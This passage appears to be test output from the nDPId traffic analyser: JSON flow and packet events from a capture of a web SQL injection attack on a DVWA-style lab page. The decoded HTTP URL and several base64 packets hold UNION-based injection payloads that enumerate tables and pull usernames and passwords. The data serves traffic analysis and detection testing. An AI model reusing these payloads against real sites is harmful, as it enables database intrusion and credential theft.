5QcCgkyU57S7x0KGU3s1giOZhKB62sJznkRy7sGWw9Hay0\/i7eGSFRjoHXN5ODiDa\/MJhVsWPNh9jkCeQJhlzm+1l07SJ+TfJ8XBeWWlnlqIrCzdoG9Jg4OeHSKCLhksos5xRRnJRLDFhc4qgczBPYYqM4w8gWo9Aw6O7S86lSqsaYH7AtktC+sAcPQ4aMs4pkm0SkPboQi1GtVB4egBRe\/ydDvFI06831MI1RYHzixiG7zkWfw4OOUQ3Od2RW99N1kqJI3q3E7BUcC4crMt7UNTA09ULRMVLC5uWZgphtpH3X777Gg7KPq74BUcmglwQJvtNuBxfBDb1bdzeySDITxytYxT4bqHBu0f2+WD7VDNGZ0OeC1IJQsOrmGEekxbr0XnnZpp9r7cW60HtYDkDDj41utBzfLl05ZXYcWpuvpVqf+SjXLXegEUui4KXaLoGanuQtjyCXKxCGXkxudwRYYDWz+CX+RL9a4D+HkykhvUVahw0D3rQlSMZD1FdCgzs0HNkgYHR3b4ctdqC72N6ldEOLhw43sAiortTu33eCFoS9hVIQgti90tdNu9aiHoT5pPthFQGzdzUXl5XBE1W9arg1BGbEAVo0W1PJIqRtQJaOHXGEHnM5EA78+TflF++mlxqCvNFKSUw6JkTtKsWtVDKc\/\/hXHzA0YJjWHEAfdDWp0NY25Kml4xm1GRraaFYpIGeQtBLMocb6pYABhQcw\/Z6qXZaqIssbkuf0ZQRA0dUs32D35CGQDeP3jtDxVU5adcaeO0HiIaxTzJl3uZqq4RK\/9llNgm4p4OJaX5w\/qdmEhtcmWuq1k6iD95F3yCfOGiR8W0MOw7R1a4Fzjzyi0rfW0R8IzGXijjZfwrNuNsrsmHTvft52b3l59PPNf0IkPVGBpWDG8ZTaY4+N+iliGwFp0GmSzx5nzKUxZx6ppvOyPgvgNeuu96PM9kfhoByBgxpbKJF0OHarKE5qf6LhpLCY0QmkLj2uWGnGbk0eupLWkjthTaeKZNLJMpW3gJgx7dSmg4EXdlk3hh52v0NcpOfz3qF9Sx2drWg+Sc6tRZC7Itu7UZ05nsfLO9n8W+8VaHcjhcNIxNetoZ6dG7eUBZlV0k9TxEy4bdRXX+v8zcj2T6IgGHglG1TGvrngO90IbFA\/uELtv+atocZsbYSysS5VeIQ3TGRLp8qlKZZumgJJNJO3\/sVt9aDoHiKt1HjxQ5NrIHE5Bo7\/p3gGTL3B\/LyG8JOd9DBzhAG1H1ZAY97cvi0k7mJmT2LqngY3jJBBvBM+KzOLCvlsu+PoFZNfXb3bIiQhf2k1pBAxJXFFDKnHd6xU7EtXWTqLTho+YcQaa\/84UpDbb5xJeuqyWqzwax1UL+1dN9jwz+A9Lm5NZwFQAA"} +00431{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":58624,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A7lAAD4Gwh+sEAABwKgKMo1oAFD9gXmgpPd\/KoAQAQIWyAAAAQEICgE+dDkD6EWr"} +00431{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348427,"pkt_ts_usec":62967,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MnVAAEAGkWPAqAoyrBAAAQBQjWik938q\/YF5oIARAOsR+gAAAQEICgPoSo8BPnQ5"} +00432{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348427,"pkt_ts_usec":63609,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A7pAAD4Gwh6sEAABwKgKMo1oAFD9gXmgpPd\/K4ARAQIM\/wAAAQEICgE+eRwD6EqP"} +00432{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348427,"pkt_ts_usec":63652,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MnZAAEAGkWLAqAoyrBAAAQBQjWik938r\/YF5oYAQAOsNFgAAAQEICgPoSo8BPnkc"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1499348433464,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":464668,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WwtAAD4GasWsEAABwKgKMo1qAFDC1CRXAAAAAKACchBpgwAAAgQFtAQCCAoBPn9cAAAAAAEDAwc="} +00444{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":464810,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjWqDJLV7wtQkWKAScSDdCgAAAgQFtAQCCAoD6FDPAT5\/XAEDAwc="} +00431{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":465554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WwxAAD4GasysEAABwKgKMo1qAFDC1CRYgyS1fIAQAOV8EgAAAQEICgE+f1wD6FDP"} +01235{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":465558,"pkt_caplen":666,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":666,"pkt_l4_len":632,"pkt":"ABm5CmnxAMGxFOsxCABFAAKMWw1AAD4GaHOsEAABwKgKMo1qAFDC1CRYgyS1fIAYAOXSywAAAQEICgE+f1wD6FDPR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K251bGwlMkMrdGFibGVfbmFtZStmcm9tK2luZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMlMjMmU3VibWl0PVN1Ym1pdCBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3NxbGkvP2lkPTElMjcrYW5kKzElM0QxK3VuaW9uK3NlbGVjdCtkYXRhYmFzZSUyOCUyOSUyQyt1c2VyJTI4JTI5JTIzJlN1Ym1pdD1TdWJtaXQNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9NWRmY3VoODVrZzB2dmlkZjhucnNqdGJvYjUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00869{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":35,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1499348433464,"flow_last_seen":1499348433465,"flow_tot_l4_data_len":744,"flow_min_l4_data_len":32,"flow_max_l4_data_len":632,"flow_avg_l4_data_len":186,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36202,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1+union+select+null%2C+table_name+from+information_schema.tables%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":465657,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05bNAAEAG3iTAqAoyrBAAAQBQjWqDJLV8wtQmsIAQAOx5swAAAQEICgPoUM8BPn9c"} +06048{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":546081,"pkt_caplen":4215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":4215,"pkt_l4_len":4181,"pkt":"AMGxFOsxABm5CmnxCABFABBp5bRAAEAGze7AqAoyrBAAAQBQjWqDJLV8wtQmsIAYAOyHRwAAAQEICgPoUOMBPn9cSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQwOjMzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMzc5Nw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAPNnXtv47gRwP\/eBfY7qOqi+0BjbXq4tpvaPji2kwjnJD4\/kruigEBLtM2NJOpIyk7u03dIybH82myaRYeLYKMHHz8NyZkhh1LevK7\/qXPdHv3W7zpzlcROf3za89uOe+R5tz+0Pa8z6ji\/Xowue85x7ZMzVIKFyvO6V67jzpXKTjxvuVzWlj\/UuJh5o4F3r0s51tnKwyNp8tQiFbnNN6\/fvK6beu6TOJWNPWUcf\/78uchaJH9Vn1MSweGrV\/WEKuLoLEf095wtGm6bp4qm6mj0kFHXCYuzhqvovfJ0Ef9ywjkRkqrGeHR29E\/X8YoyX9UVUzFt3uRxSgWZsJiphxNn+EvP8dMvNFSMp87JidMhSeqsEsXUuaUTp5VlMQuJSfK+c3Pb+uAsjmvHn5yPHbqgMc8SYPhY94oayupilt45gsYNV6qHmMo5pcp1FGCXtKGUrjMXdNpwazUPfqLFkuirXkJYWjO3vd3SGDzzqpz\/sITMqAeXNkuakoVOVjM3HsuQoWCZqiJ8IQtSXHUdKcINkC\/S\/O5DBbUv0m3WvSJl2URe2Ub6eMKjByeMidTNyxPqFm0XsYXDooarGwmeiIqyeSu3dCGV66\/qLJntkJiHlF7MZ7yWpTPXITG0+BMNtX5uYIXqdqrWQg6g4fJK7Tv3goxEEY2KB4IEebx6Tn33NObhnRZNzByehlD1XcNdsjTiyxrcMhyNd8WT1N65q6yQgWw0V81tXoDY6h4BKces+fpbCmQpDLPc9FtZy+bZV8rfTuo2\/cqV51ULIyvPnqjvMY3bHOpDx3MGFC46ndNKZV4eN18g0EVlIDPoHhORK+p9hWp\/Brd5qn87Z1yEz2yB7QLpPQ2fA2DSu802TxKSRms19DKKUIrpcyhMeqAYDs5eVvGUebWfMhiqDQY584g+0Uu+Kb\/bPGMwuH19Rb5YNnkWcxI9RzpljhJjbM5e2D4kU2CintVEZRYzbmmYC+q0W\/1R+6L1MhT5e8wqHJLG0AG1tnuCx+SDsV21nS8nCSZg5J7VOJVcWzTO+1N9+cPLqJaU3AXsWUirLG7zFo6cIZW61zp+55lqdrvceymDZ4EUGdzmr8Mh+CzXly8UhS5OPLd+sap\/QKdF1\/oOFPK5FHJFMVRcbCK80ASZsQhu5JPmcJ3MbWr\/EfpFcel54oD8LJ3yJ6qrpHKb\/Ys+jIopf15FZMJz9UQ1j2ncZksffj+xakfvyerXidxmzxxvAZQe24bvd9gR1C7s2hGEKYu+W9at71Udwfr8+KvTCPCNj4uiCve4UtTi0V8NQh7RgAhKSm95ykXiEFNAw\/2z68DMZ84B77w7Kt3PelY+1FhSASrlpHSZ0yyvevXgyrM\/4Pj4R9dJSQJHDLh308p8kjC1SjMszxYkztenZcVe1iymEJ6mLHgzQZvA4By\/c7T3ctw4dvJU67rCjDhpHsd\/dZR5Vl2FMxU8cXTPFIlp7kCGc5qQmkki\/1yfCHDZz5iQyiCdOCRKWFpcHuaies3Tlf8fCLYqB4M7aLVH3UEw7I6GaBTXvV5r5F9f4RMEGxIJWv1+z2+3Tv2eP\/oNEW58iSobqD7oD\/wbv9c976KBdK\/O\/SvE6m+6V3hj5Axkj1b5ee\/6tNULhqPWaIwNcdMa+K1TRGH83P0tKMfEeNg672JxXPdH\/qX\/b9BUI9BYaBh90JeXXVCYaA0CBCMf1Xz0e2NQTXjVD67b3eGw5w9HiAigofyrcyyAQfesOwAF7YOKaENXgDHhI6rrwfV4hGmshu2L7mVr1MKt3wKnYQgDQ\/t1uLZrRYFuvLQYQE34bTSCEerzF7X3wV7iItigowoQ\/CE6Gvjn54j+w3gIPhS+GG787i1a5f7V1XXnNOhdt3\/GZhgNfkUmGP42DDpgPFHnXCXL2UirijMfzbGqyOTGH4zGrR4ySfuyj98mp13wdYNOtwcznw6+QIJBd9hFc\/4rHH1Qpf5Vp4s9hIHlsntphVigt9jRT07HZ2fa0rXOu0FvMLbA1AS3LR\/P\/1nZmy7028IX8q\/Ori3Qs2YAoVseTYLrrFdAzvxur4MNsqHgrNAtlSFtg5Y7a417I5hqX\/dvrwfY6g6IioYyndgWmHarfYENsx7ZqBPhkuayCxNAvPWIqpK5HnT98yu9uo+NU\/gvlmiX6+si9oMtFN1GyMHQ3d5iAUkxljEbaJZTqSac32EB5JIKiVV5yOM8SWWQCbbAYogmWDXTdMZSvftHKjSEBU3RKp\/maYg27qjefBUHMZ+hISgWBXrjd65ohAUxp3EWhETRGRcPqBB39GHJBa4gBI1JsW0PEULxjKGNC5amPJoELI3ofSAVUWi2oSQpSkQlSQFjwlJQFYVcsDiyOJ\/h7XjMBEfrlbpuXC8BCO4ZxWUAT21BBaq\/UCCgjUQZkwUNEiIVyIGZveyYINpcPASFXsBmAdt5hy4UvsR0qIp0qENUsYQGf\/CUogMEMSVZIGnIUzSfag2jz\/EplCCpZJgO3j6WQL+DgTn9x6qbhCHPUzy\/Tg+NQL8QTdKQolGYKbjUHu4MlFeYC4E4Jd+EmTOpEKeFe2HAwKRoFmaTSOZJQoBo8hCUXVkfmjSoCu8g5Rw8R8sR1VxQElkOqZWmzYizmE9IbBuhook5tEbFrYCsUXNbQJaouhWV\/epuD2nEYGBY1Ncs18Z7MDPBZ4IkVrLZaS32gNpoMbYxLbQaZpJUvAhvi93YQLLDcuxDssF2bHBZbj0OsVqnpA+BWqgKD6Fapwz3glqoDpeEWeM\/Fyx2KMANFhs0XwFkucrbgbRO1+0QrhbrbOOyUPnuMFqndTcJbVK3UwYloS8MG4pKA1oiF4uGo1FYIYFMmARoHSShibZ3tpqZXTx7DMwum00qfJfOHuW9xWaT2tYfCI+IIoH5wCAaRa7oPb714BP9CcJ99hUz3JxRYfKCZAIdC8fbSgQVZkTQqLoSht5owLT6aHlA9AfMzXavdMpmuUDdmLoPTAsut0pUBZHu4yHnImIpgQmhnYDFdi0b2KB\/pTRcHdrV1Sps9vS2meB5FoAdnJQtah0VHtBSm158PSqLb20\/+sNlPwqIUoibV0soS2AUdBcSgoJEZgBxgI+CuanYYBR\/GMP4AbggpeOGC4Hrm0lQIlRZoEYKDqvWYHaZsFdh1k5NqW7xQeaYr0g8UhRLCvgcmHt8i6LmUFmMN46LohjfF1DQ77nlkszwtqcfhDN3cLGMO2cZmBlVaH3JrMQtiGAmPf4wtwglS0gQ6G8ZQD9B+56BgQjBSuu3u8vvC+CyGAbUF7MMR0Qlm6V6ykqVYukMVyr0PuNCBYomWUwUnmkwMFOy4IIpvFVRDYG8lcIwpGTBZib7nEUMbxuFgcmiaaD\/Bhxu3xA0RNxsUyLgfpXAQEiyoJGkREBe3BYpyjMrvDaAoCv2orycQe1TZIEIEt5hqw3toBUL2egYZk0Wt0lQP+9k4v3lvMEGBu0iF3t70EbsARzUoOw2U\/E2mUU0RXw20I5iGlrTk9ZgmI1XfiZnkk+nq3CUgTOlWAaFum4Ag2xjmw9ybwKc9ZYMowUmulchToX2EtkkJb0OZZeUVkTIUjIzaIVt2sqdYZV9fuWbCrgNtsZaj33LwFa7+2zCWndyC6kUVyRG3GYoWIjn1ssAMoR3QaxH2TpsjbpEUCQPSK44IIWi8IuQl19LqPW3DJlUiA1X4hTx\/YAvqFgwukSmETTK04ikqhATYqy94NkOO1mBY03f2cYJlkzNSzfbBrQSaAp1rFhDgq4A8hQMbITewYvtX9i7z6SMkfdSrufNJCXxg2T4JGW\/pUJwIQMuQPeIFDNGtk1mzYja4hJ5qreK6a3zwecf4UJGhY6XMLx5\/jai5EIhrklv4+iIZ6ks0ZAeZIC7Qm4mPMgLw1UGCxaGD+CgfxzSnoXhPTR2LAwfBsNsPP2dZkR\/wyyNhTGR4HhUFhPIYobdXAfILKCS1cUzW3hWi1NW8FjTXPdvbQhublJYYMUOAqGqwl0qXEu2l8cOW\/Y1NNwmtDLQeRALNdT5SIW\/jgYodsVdDZBlkdcDTHZJyoro6wEmdEnZEYG9f2tpDLYKZlkUtopmVRz2EcyySOw2F2os9v6t\/tNQVMqY4b3xBxCy\/ND09iLoasqLt9pehatMvuGSVIJNcsyosWE7FNrCVKMl0xSEBdKikf7jhIgtaFkg+xHIlmDtFpB1ErIrYLsJZ1mACeBw46QAYE18ssJiXYRyl82iLmR\/lHIXEjlOuQtkQaTy\/q0NkcJNCitWWW2MFu5SYa+yWhsx\/BoabhPaG7Y7yGYFl02huwqRJcG7FdGBRnvz+lXdi9gCDvTh\/G\/NSy6o468rrHtwUd\/LY\/3rVT1mzTpx5oJOG+5cqezE85bLZU3SMNdv8pOkFvLEK08fBNVbbaX3Y6f\/6eq4\/4+\/d2tzlcQuPKOYUdVwg0lM0ju3+T8XVfdIs+4B1V46CWXStLZkdyyjESM1LmaePvOGv\/TAK9E7guEp9\/N8Y+avE0AZMOUQ+byWkAVTeUqKp\/o9Pnos4QgalSg5p1Qd8bvcOyieZ5f0JFsGmo9KlfAUZtq1lCrPlHBkitgs20se9Pme+orUB6m\/Yx1Pt7buQXxJZGZay8zca9k8M03mP93e35T9SalO+GTycFQMUtNIB2Wzk7Jadt0zo64YonqEwr9igBf\/F1feFHcqAxlO4NgxGrvhhjElwm0eSMSihisfJNhA80J9me5VnaVZrhxtExvuJFdKC21B4hxOb2AcOhc0ztxVFRnP8ixYJeNpO2bhXcP9QhZEhoJl6gRSjLP3zrtazYOfRR6nVJAJi5liVHp6ZAdzKFHL+idAgg7A\/rIa+Y2YL985H9ym8yTVkOcwwfi+XNKU+RSZliWJ2SxtuDGdKrdZp0lzDFbAKOK6B2cOiRKWlg0I58OyFKdHFzQu00CJ6xT9i77fGZZ3IiZ1N4lWbXiwOaecK2pavGzLrNkhSerclE8XU+eWTpxW9vgRU+d95+a29cFZHNeOPzkfO5qHZ9or+giGormnh1XNBnTi6MEcg7UAldz8L3+6M6bfuAAA"} +00431{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":546861,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ww5AAD4GasqsEAABwKgKMo1qAFDC1CawgyTAzIAQARJuFAAAAQEICgE+f3ED6FDj"} +00431{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348433,"pkt_ts_usec":547279,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ww9AAD4GasmsEAABwKgKMo1qAFDC1CawgyTFsYAQAShpGQAAAQEICgE+f3ED6FDj"} +00431{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348438,"pkt_ts_usec":551184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05bdAAEAG3iDAqAoyrBAAAQBQjWqDJMWxwtQmsIARAOxkcAAAAQEICgPoVccBPn9x"} +00432{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348438,"pkt_ts_usec":551823,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WxBAAD4GasisEAABwKgKMo1qAFDC1CawgyTFsoARAShfUAAAAQEICgE+hFQD6FXH"} +00433{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348438,"pkt_ts_usec":551871,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05bhAAEAG3h\/AqAoyrBAAAQBQjWqDJMWywtQmsYAQAOxfjAAAAQEICgPoVccBPoRU"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1499348467295,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36204,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":295664,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NrBAAD4GjyCsEAABwKgKMo1sAFAXzJbWAAAAAKACchCBAAAAAgQFtAQCCAoBPqBmAAAAAAEDAwc="} +00443{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":295837,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjWwuedQjF8yW16AScSAJgQAAAgQFtAQCCAoD6HHZAT6gZgEDAwc="} +00431{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":296387,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NrFAAD4GjyesEAABwKgKMo1sAFAXzJbXLnnUJIAQAOWoiAAAAQEICgE+oGYD6HHZ"} +01236{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":296717,"pkt_caplen":665,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":665,"pkt_l4_len":631,"pkt":"ABm5CmnxAMGxFOsxCABFAAKLNrJAAD4GjM+sEAABwKgKMo1sAFAXzJbXLnnUJIAYAOUu1QAAAQEICgE+oGYD6HHZR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K3VzZXIlMkMrcGFzc3dvcmQrZnJvbSt1c2VycyUyMyZTdWJtaXQ9U3VibWl0IEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K251bGwlMkMrdGFibGVfbmFtZStmcm9tK2luZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMlMjMmU3VibWl0PVN1Ym1pdA0KQ29va2llOiBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD01ZGZjdWg4NWtnMHZ2aWRmOG5yc2p0Ym9iNQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} 